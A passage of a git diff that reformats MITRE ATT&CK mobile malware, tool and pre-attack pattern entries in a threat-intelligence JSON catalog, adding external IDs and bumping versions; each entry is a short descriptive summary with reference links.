- "synonyms": [ - "AndroidOverlayMalware" - ] - }, - "uuid": "b6d3657a-2d6a-400f-8b7e-4d60391aa1f7" - }, - { - "description": "As described by Palo Alto Networks (Citation: ZergHelper), the (Citation: ZergHelper) app uses techniques to evade Apple's App Store review process for itself and uses techniques to install additional applications that are not in Apple's App Store.\n\nAliases: (Citation: ZergHelper)", - "value": "ZergHelper - MOB-S0003", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0003", - "http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/" - ], - "synonyms": [ - "ZergHelper" - ] - }, - "uuid": "3c3b55a6-c3e9-4043-8aae-283fe96220c0" - }, - { - "description": "SpyNote RAT (Citation: Zscaler-SpyNote) (Remote Access Trojan) is a family of malicious Android apps. The \"SpyNote RAT builder\" tool can be used to develop malicious apps with the SpyNote RAT functionality.\n\nAliases: SpyNote RAT", - "value": "SpyNote RAT - MOB-S0021", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0021", - "https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app" - ], - "synonyms": [ - "SpyNote RAT" - ] - }, - "uuid": "20dbaf05-59b8-4dc6-8777-0b17f4553a23" - }, - { - "description": " (Citation: RCSAndroid) (Citation: RCSAndroid) is Android malware allegedly distributed by Hacking Team.\n\nAliases: (Citation: RCSAndroid)", - "value": "RCSAndroid - MOB-S0011", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0011", - "https://github.com/hackedteam/core-android/tree/master/RCSAndroid" - ], - "synonyms": [ - "RCSAndroid" - ] - }, - "uuid": "363bc05d-13cb-4e98-a5b7-e250f2bbdc2b" - }, - { - "description": "The Charger Android malware steals \"steals contacts and SMS messages from the user's device\". It also \"asks for admin permissions\" and \"[i]f granted, the ransomware locks the device and displays a message demanding payment\". (Citation: CheckPoint-Charger)\n\nAliases: Charger", - "value": "Charger - MOB-S0039", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0039", - "http://blog.checkpoint.com/2017/01/24/charger-malware/" - ], - "synonyms": [ - "Charger" - ] - }, - "uuid": "d1c600f8-0fb6-4367-921b-85b71947d950" - }, - { - "description": "iOS malware that \"is different from previous seen iOS malware in that it attacks both jailbroken and non-jailbroken iOS devices\" and \"abuses private APIs in the iOS system to implement malicious functionalities\" (Citation: PaloAlto-YiSpecter).\n\nAliases: YiSpecter", - "value": "YiSpecter - MOB-S0027", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0027" - ], - "synonyms": [ - "YiSpecter" - ] - }, - "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9" - }, - { - "description": "Discovered and analyzed by Lookout (Citation: Lookout-PegasusAndroid) and Google (Citation: Google-Chrysaor), Pegasus for Android (also known as Chrysaor) is spyware that was used in targeted attacks. Pegasus for Android does not use zero day vulnerabilities. It attempts to escalate privileges using well-known vulnerabilities, and even if the attempts fail, it still performs some subset of spyware functions that do not require escalated privileges.\n\nAliases: Pegasus for Android, Chrysaor", - "value": "Pegasus for Android - MOB-S0032", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0032", - "https://blog.lookout.com/blog/2017/04/03/pegasus-android/", - "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html" - ], - "synonyms": [ - "Pegasus for Android", - "Chrysaor" - ] - }, - "uuid": "93799a9d-3537-43d8-b6f4-17215de1657c" - }, - { - "description": "iOS malware analyzed by Palo Alto Networks (Citation: (Citation: PaloAlto-XcodeGhost)1) (Citation: PaloAlto-XcodeGhost)\n\nAliases: XcodeGhost", - "value": "XcodeGhost - MOB-S0013", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0013", - "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/", - "http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/" - ], - "synonyms": [ - "XcodeGhost" - ] - }, - "uuid": "d9e07aea-baad-4b68-bdca-90c77647d7f9" - } - ] -} + "name": "Mobile Attack - Malware", + "type": "mitre-mobile-attack-malware", + "description": "Name of ATT&CK software", + "version": 3, + "source": "https://github.com/mitre/cti", + "uuid": "04a165aa-1708-11e8-b2da-c7d7625f4a4f", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "AndroRAT \"allows a third party to control the device and collect information such as contacts, call logs, text messages, device location, and audio from the microphone. It is now used maliciously by other actors.\" (Citation: Lookout-EnterpriseApps)\n\nAliases: AndroRAT", + "value": "AndroRAT - MOB-S0008", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0008", + "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" + ], + "external_id": "MOB-S0008", + "synonyms": [ + "AndroRAT" + ] + }, + "uuid": "a3dad2be-ce62-4440-953b-00fbce7aba93" + }, + { + "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.Agent.ao", + "value": "Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0023", + "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/" + ], + "external_id": "MOB-S0023", + "synonyms": [ + "Trojan-SMS.AndroidOS.Agent.ao" + ] + }, + "uuid": "a1867c56-8c86-455a-96ad-b0d5f7e2bc17" + }, + { + "description": "DualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB (Citation: PaloAlto-DualToy).\n\nAliases: DualToy", + "value": "DualToy - MOB-S0031", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0031" + ], + "external_id": "MOB-S0031", + "synonyms": [ + "DualToy" + ] + }, + "uuid": "507fe748-5e4a-4b45-9e9f-8b1115f4e878" + }, + { + "description": "On jailbroken iOS devices, (Citation: KeyRaider) steals Apple account credentials and other data. It \"also has built-in functionality to hold iOS devices for ransom.\" (Citation: KeyRaider)\n\nAliases: (Citation: KeyRaider)", + "value": "KeyRaider - MOB-S0004", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0004", + "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/" + ], + "external_id": "MOB-S0004", + "synonyms": [ + "KeyRaider" + ] + }, + "uuid": "3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50" + }, + { + "description": "Brain Test is a family of Android malware described by CheckPoint (Citation: CheckPoint-BrainTest) and Lookout (Citation: Lookout-BrainTest).\n\nAliases: BrainTest", + "value": "BrainTest - MOB-S0009", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0009", + "http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/", + "https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/" + ], + "external_id": "MOB-S0009", + "synonyms": [ + "BrainTest" + ] + }, + "uuid": "e13d084c-382f-40fd-aa9a-98d69e20301e" + }, + { + "description": "Lookout states that some variants of the Shedun, Shuanet, and ShiftyBug/Kemoge Android malware families \"have 71 percent to 82 percent code similarity\" (Citation: Lookout-Adware), even though they \"don\u2019t believe these apps were all created by the same author or group\".\n\nAliases: Shedun, Shuanet, ShiftyBug, Kemoge", + "value": "Shedun - MOB-S0010", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0010", + "https://blog.lookout.com/blog/2015/11/04/trojanized-adware/" + ], + "external_id": "MOB-S0010", + "synonyms": [ + "Shedun", + "Shuanet", + "ShiftyBug", + "Kemoge" + ] + }, + "uuid": "c80a6bef-b3ce-44d0-b113-946e93124898" + }, + { + "description": "Android malware family analyzed by Trend Micro (Citation: TrendMicro-DressCode)\n\nAliases: DressCode", + "value": "DressCode - MOB-S0016", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0016", + "http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/" + ], + "external_id": "MOB-S0016", + "synonyms": [ + "DressCode" + ] + }, + "uuid": "ff742eeb-1f90-4f5a-8b92-9d40fffd99ca" + }, + { + "description": "Adups, software pre-installed onto Android devices including those made by BLU Products, reportedly transmitted sensitive data to a Chinese server. The capability was reportedly designed \"to help a Chinese phone manufacturer monitor user behavior\" and \"was not intended for American phones\". (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor).\n\nAliases: Adups", + "value": "Adups - MOB-S0025", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0025", + "https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html", + "http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534" + ], + "external_id": "MOB-S0025", + "synonyms": [ + "Adups" + ] + }, + "uuid": "f6ac21b6-2592-400c-8472-10d0e2f1bfaf" + }, + { + "description": "Discovered by Lookout (Citation: Lookout-Pegasus) and Citizen Lab (Citation: PegasusCitizenLab), Pegasus escalates privileges on iOS devices and uses its privileged access to collect a variety of sensitive information.\n\nAliases: Pegasus", + "value": "Pegasus - MOB-S0005", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0005", + "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf", + "https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" + ], + "external_id": "MOB-S0005", + "synonyms": [ + "Pegasus" + ] + }, + "uuid": "33d9d91d-aad9-49d5-a516-220ce101ac8a" + }, + { + "description": "RuMMS is a family of Android malware (Citation: FireEye-RuMMS).\n\nAliases: RuMMS", + "value": "RuMMS - MOB-S0029", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0029", + "https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html" + ], + "external_id": "MOB-S0029", + "synonyms": [ + "RuMMS" + ] + }, + "uuid": "936be60d-90eb-4c36-9247-4b31128432c4" + }, + { + "description": "HummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android (Citation: ArsTechnica-HummingBad).\n\nAliases: HummingBad", + "value": "HummingBad - MOB-S0038", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0038", + "http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/" + ], + "external_id": "MOB-S0038", + "synonyms": [ + "HummingBad" + ] + }, + "uuid": "c8770c81-c29f-40d2-a140-38544206b2b4" + }, + { + "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.OpFake.a", + "value": "Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0024", + "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/" + ], + "external_id": "MOB-S0024", + "synonyms": [ + "Trojan-SMS.AndroidOS.OpFake.a" + ] + }, + "uuid": "d89c132d-7752-4c7f-9372-954a71522985" + }, + { + "description": "Android malware family analyzed by Lookout (Citation: Lookout-Dendroid).\n\nAliases: Dendroid", + "value": "Dendroid - MOB-S0017", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0017", + "https://blog.lookout.com/blog/2014/03/06/dendroid/" + ], + "external_id": "MOB-S0017", + "synonyms": [ + "Dendroid" + ] + }, + "uuid": "317a2c10-d489-431e-b6b2-f0251fddc88e" + }, + { + "description": "Android malware analyzed by Scandinavian security group CSIS as described in a Tripwire post (Citation: Tripwire-MazarBOT).\n\nAliases: MazarBOT", + "value": "MazarBOT - MOB-S0019", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0019", + "https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/" + ], + "external_id": "MOB-S0019", + "synonyms": [ + "MazarBOT" + ] + }, + "uuid": "5ddf81ea-2c06-497b-8c30-5f1ab89a40f9" + }, + { + "description": "The (Citation: Gooligan) malware family, revealed by Check Point, runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal \"authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more.\" (Citation: Gooligan)\n\nGoogle (Citation: Ludwig-GhostPush) and LookoutLookout- (Citation: Gooligan) describe (Citation: Gooligan) as part of the Ghost Push Android malware family.\n\nAliases: (Citation: Gooligan)", + "value": "Gooligan - MOB-S0006", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0006", + "http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/", + "https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi" + ], + "external_id": "MOB-S0006", + "synonyms": [ + "Gooligan" + ] + }, + "uuid": "20d56cd6-8dff-4871-9889-d32d254816de" + }, + { + "description": "OldBoot is a family of Android malware described in a report from The Hacker News (Citation: HackerNews-OldBoot).\n\nAliases: OldBoot", + "value": "OldBoot - MOB-S0001", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0001", + "http://thehackernews.com/2014/01/first-widely-distributed-android.html" + ], + "external_id": "MOB-S0001", + "synonyms": [ + "OldBoot" + ] + }, + "uuid": "2074b2ad-612e-4758-adce-7901c1b49bbc" + }, + { + "description": "WireLurker is a family of macOS malware that targets iOS devices connected over USB (Citation: PaloAlto-WireLurker).\n\nAliases: WireLurker", + "value": "WireLurker - MOB-S0028", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0028" + ], + "external_id": "MOB-S0028", + "synonyms": [ + "WireLurker" + ] + }, + "uuid": "326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb" + }, + { + "description": "Android remote access trojan (RAT) that has been observed to pose as legitimate applications including the Super Mario Run (Citation: Zscaler-SuperMarioRun) and Pokemon GO games (Citation: Proofpoint-Droidjack).\n\nAliases: DroidJack RAT", + "value": "DroidJack RAT - MOB-S0036", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0036", + "https://www.zscaler.com/blogs/research/super-mario-run-malware-2-\u2013-droidjack-rat", + "https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app" + ], + "external_id": "MOB-S0036", + "synonyms": [ + "DroidJack RAT" + ] + }, + "uuid": "05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1" + }, + { + "description": "The HummingWhale Android malware family \"includes new virtual machine techniques that allow the malware to perform ad fraud better than ever\". (Citation: ArsTechnica-HummingWhale)\n\nAliases: HummingWhale", + "value": "HummingWhale - MOB-S0037", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0037", + "http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/" + ], + "external_id": "MOB-S0037", + "synonyms": [ + "HummingWhale" + ] + }, + "uuid": "6447e3a1-ef4d-44b1-99d5-6b1c4888674f" + }, + { + "description": "ANDROIDOS_ANSERVER.A is Android malware novel for using encrypted content within a blog site for command and control (Citation: TrendMicro-Anserver).\n\nAliases: ANDROIDOS_ANSERVER.A", + "value": "ANDROIDOS_ANSERVER.A - MOB-S0026", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0026", + "http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/" + ], + "external_id": "MOB-S0026", + "synonyms": [ + "ANDROIDOS_ANSERVER.A" + ] + }, + "uuid": "4bf6ba32-4165-42c1-b911-9c36165891c8" + }, + { + "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.FakeInst.a", + "value": "Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0022", + "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/" + ], + "external_id": "MOB-S0022", + "synonyms": [ + "Trojan-SMS.AndroidOS.FakeInst.a" + ] + }, + "uuid": "28e39395-91e7-4f02-b694-5e079c964da9" + }, + { + "description": "Android malware family analyzed by Lookout (Citation: Lookout-NotCompatible)\n\nAliases: NotCompatible", + "value": "NotCompatible - MOB-S0015", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0015", + "https://blog.lookout.com/blog/2014/11/19/notcompatible/" + ], + "external_id": "MOB-S0015", + "synonyms": [ + "NotCompatible" + ] + }, + "uuid": "23040c15-e7d8-47b5-8c16-8fd3e0e297fe" + }, + { + "description": "The X-Agent Android malware was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data for where it was used and hence the potential location of Ukrainian artillery (Citation: CrowdStrike-Android).\n\nAliases: X-Agent", + "value": "X-Agent - MOB-S0030", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0030", + "https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf" + ], + "external_id": "MOB-S0030", + "synonyms": [ + "X-Agent" + ] + }, + "uuid": "56660521-6db4-4e5a-a927-464f22954b7c" + }, + { + "description": "Twitoor is a family of Android malware described by ESET (Citation: ESET-Twitoor).\n\nAliases: Twitoor", + "value": "Twitoor - MOB-S0018", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0018", + "http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/" + ], + "external_id": "MOB-S0018", + "synonyms": [ + "Twitoor" + ] + }, + "uuid": "41e3fd01-7b83-471f-835d-d2b1dc9a770c" + }, + { + "description": "OBAD is a family of Android malware (Citation: TrendMicro-Obad).\n\nAliases: OBAD", + "value": "OBAD - MOB-S0002", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0002", + "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/" + ], + "external_id": "MOB-S0002", + "synonyms": [ + "OBAD" + ] + }, + "uuid": "ca4f63b9-a358-4214-bb26-8c912318cfde" + }, + { + "description": "As reported by Kaspersky (Citation: Kaspersky-WUC), a spear phishing message was sent to activist groups containing a malicious Android application as an attachment.\n\nAliases: Android/Chuli.A", + "value": "Android/Chuli.A - MOB-S0020", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0020", + "https://securelist.com/blog/incidents/35552/android-trojan-found-in-targeted-attack-58/" + ], + "external_id": "MOB-S0020", + "synonyms": [ + "Android/Chuli.A" + ] + }, + "uuid": "d05f7357-4cbe-47ea-bf83-b8604226d533" + }, + { + "description": "According to Lookout (Citation: Lookout-EnterpriseApps), the PJApps Android malware family \"may collect and leak the victim\u2019s phone number, mobile device unique identifier (IMEI), and location. In order to make money, it may send messages to premium SMS numbers. PJApps also has the ability to download further applications to the device.\"\n\nAliases: PJApps", + "value": "PJApps - MOB-S0007", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0007", + "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" + ], + "external_id": "MOB-S0007", + "synonyms": [ + "PJApps" + ] + }, + "uuid": "c709da93-20c3-4d17-ab68-48cba76b2137" + }, + { + "description": "Android malware analyzed by FireEye (Citation: FireEye-AndroidOverlay).\nAccording to their analysis, \"three campaigns in Europe used view overlay techniques...to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials.\"\n\nAliases: AndroidOverlayMalware", + "value": "AndroidOverlayMalware - MOB-S0012", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0012", + "https://www.fireeye.com/blog/threat-research/2016/06/latest-android-overlay-malware-spreading-in-europe.html" + ], + "external_id": "MOB-S0012", + "synonyms": [ + "AndroidOverlayMalware" + ] + }, + "uuid": "b6d3657a-2d6a-400f-8b7e-4d60391aa1f7" + }, + { + "description": "As described by Palo Alto Networks (Citation: ZergHelper), the (Citation: ZergHelper) app uses techniques to evade Apple's App Store review process for itself and uses techniques to install additional applications that are not in Apple's App Store.\n\nAliases: (Citation: ZergHelper)", + "value": "ZergHelper - MOB-S0003", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0003", + "http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/" + ], + "external_id": "MOB-S0003", + "synonyms": [ + "ZergHelper" + ] + }, + "uuid": "3c3b55a6-c3e9-4043-8aae-283fe96220c0" + }, + { + "description": "SpyNote RAT (Citation: Zscaler-SpyNote) (Remote Access Trojan) is a family of malicious Android apps. The \"SpyNote RAT builder\" tool can be used to develop malicious apps with the SpyNote RAT functionality.\n\nAliases: SpyNote RAT", + "value": "SpyNote RAT - MOB-S0021", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0021", + "https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app" + ], + "external_id": "MOB-S0021", + "synonyms": [ + "SpyNote RAT" + ] + }, + "uuid": "20dbaf05-59b8-4dc6-8777-0b17f4553a23" + }, + { + "description": " (Citation: RCSAndroid) (Citation: RCSAndroid) is Android malware allegedly distributed by Hacking Team.\n\nAliases: (Citation: RCSAndroid)", + "value": "RCSAndroid - MOB-S0011", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0011", + "https://github.com/hackedteam/core-android/tree/master/RCSAndroid" + ], + "external_id": "MOB-S0011", + "synonyms": [ + "RCSAndroid" + ] + }, + "uuid": "363bc05d-13cb-4e98-a5b7-e250f2bbdc2b" + }, + { + "description": "The Charger Android malware steals \"steals contacts and SMS messages from the user's device\". It also \"asks for admin permissions\" and \"[i]f granted, the ransomware locks the device and displays a message demanding payment\". (Citation: CheckPoint-Charger)\n\nAliases: Charger", + "value": "Charger - MOB-S0039", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0039", + "http://blog.checkpoint.com/2017/01/24/charger-malware/" + ], + "external_id": "MOB-S0039", + "synonyms": [ + "Charger" + ] + }, + "uuid": "d1c600f8-0fb6-4367-921b-85b71947d950" + }, + { + "description": "iOS malware that \"is different from previous seen iOS malware in that it attacks both jailbroken and non-jailbroken iOS devices\" and \"abuses private APIs in the iOS system to implement malicious functionalities\" (Citation: PaloAlto-YiSpecter).\n\nAliases: YiSpecter", + "value": "YiSpecter - MOB-S0027", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0027" + ], + "external_id": "MOB-S0027", + "synonyms": [ + "YiSpecter" + ] + }, + "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9" + }, + { + "description": "Discovered and analyzed by Lookout (Citation: Lookout-PegasusAndroid) and Google (Citation: Google-Chrysaor), Pegasus for Android (also known as Chrysaor) is spyware that was used in targeted attacks. Pegasus for Android does not use zero day vulnerabilities. It attempts to escalate privileges using well-known vulnerabilities, and even if the attempts fail, it still performs some subset of spyware functions that do not require escalated privileges.\n\nAliases: Pegasus for Android, Chrysaor", + "value": "Pegasus for Android - MOB-S0032", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0032", + "https://blog.lookout.com/blog/2017/04/03/pegasus-android/", + "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html" + ], + "external_id": "MOB-S0032", + "synonyms": [ + "Pegasus for Android", + "Chrysaor" + ] + }, + "uuid": "93799a9d-3537-43d8-b6f4-17215de1657c" + }, + { + "description": "iOS malware analyzed by Palo Alto Networks (Citation: (Citation: PaloAlto-XcodeGhost)1) (Citation: PaloAlto-XcodeGhost)\n\nAliases: XcodeGhost", + "value": "XcodeGhost - MOB-S0013", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0013", + "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/", + "http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/" + ], + "external_id": "MOB-S0013", + "synonyms": [ + "XcodeGhost" + ] + }, + "uuid": "d9e07aea-baad-4b68-bdca-90c77647d7f9" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-mobile-attack-tool.json b/clusters/mitre-mobile-attack-tool.json index 8573ee1..1bcf511 100644 --- a/clusters/mitre-mobile-attack-tool.json +++ b/clusters/mitre-mobile-attack-tool.json @@ -1,27 +1,28 @@ { - "name": "Mobile Attack - Tool", - "type": "mitre-mobile-attack-tool", - "description": "Name of ATT&CK software", - "version": 2, - "source": "https://github.com/mitre/cti", - "uuid": "02cee87e-1708-11e8-8f15-8b33e4d6194b", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "Xbot is a family of Android malware analyzed by Palo Alto Networks (Citation: PaloAlto-Xbot) that \"tries to steal victims' banking credentials and credit card information\", \"can also remotely lock infected Android devices, encrypt the user's files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom\" and \"will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks.\"\n\nAliases: Xbot", - "value": "Xbot - MOB-S0014", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Software/MOB-S0014", - "http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/" - ], - "synonyms": [ - "Xbot" - ] - }, - "uuid": "da21929e-40c0-443d-bdf4-6b60d15448b4" - } - ] -} + "name": "Mobile Attack - Tool", + "type": "mitre-mobile-attack-tool", + "description": "Name of ATT&CK software", + "version": 3, + "source": "https://github.com/mitre/cti", + "uuid": "02cee87e-1708-11e8-8f15-8b33e4d6194b", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "Xbot is a family of Android malware analyzed by Palo Alto Networks (Citation: PaloAlto-Xbot) that \"tries to steal victims' banking credentials and credit card information\", \"can also remotely lock infected Android devices, encrypt the user's files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom\" and \"will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks.\"\n\nAliases: Xbot", + "value": "Xbot - MOB-S0014", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Software/MOB-S0014", + "http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/" + ], + "external_id": "MOB-S0014", + "synonyms": [ + "Xbot" + ] + }, + "uuid": "da21929e-40c0-443d-bdf4-6b60d15448b4" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-pre-attack-attack-pattern.json b/clusters/mitre-pre-attack-attack-pattern.json index da91410..b80018f 100644 --- a/clusters/mitre-pre-attack-attack-pattern.json +++ b/clusters/mitre-pre-attack-attack-pattern.json @@ -1,1743 +1,2449 @@ { - "name": "Pre Attack - Attack Pattern", - "type": "mitre-pre-attack-attack-pattern", - "description": "ATT&CK tactic", - "version": 2, - "source": "https://github.com/mitre/cti", - "uuid": "03c13bec-1708-11e8-92a0-a747c0787089", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).", - "value": "Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1170" - ] - }, - "uuid": "c9e85b80-39e8-42df-b275-86a2afcea9e8" - }, - { - "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will generally not have visibility into their infrastructure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.", - "value": "Obfuscate infrastructure - PRE-T1108", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1108" - ] - }, - "uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39" - }, - { - "description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to 